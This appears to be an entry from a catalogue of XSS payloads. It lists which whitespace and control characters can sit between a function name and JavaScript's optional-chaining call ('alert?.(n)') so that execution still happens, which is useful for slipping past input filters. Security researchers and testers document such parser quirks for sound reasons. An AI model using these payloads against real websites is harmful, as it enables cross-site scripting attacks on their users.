Characters allowed before optional chaining

JavaScript allows you to conditionally call a function using optional chaining.

Created May 4, 2024

Updated May 28, 2025

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CategoryXSS Execution

VisibilityPublic

TypeJS

CharsetUTF-8

Template used:

log$[chr]?.($[i])

Sample payloads

alert⟦09⟧?.(9)

alert
?.(10)

alert0x0B?.(11)

alert0x0C?.(12)

alert0x0D?.(13)

alert ?.(32)

alert ?.(160)

alert ?.(5760)

alert ?.(8192)

alert ?.(8193)

alert ?.(8194)

alert ?.(8195)

alert ?.(8196)

alert ?.(8197)

alert ?.(8198)

alert ?.(8199)

alert ?.(8200)

alert ?.(8201)

alert ?.(8202)

alert ?.(8232)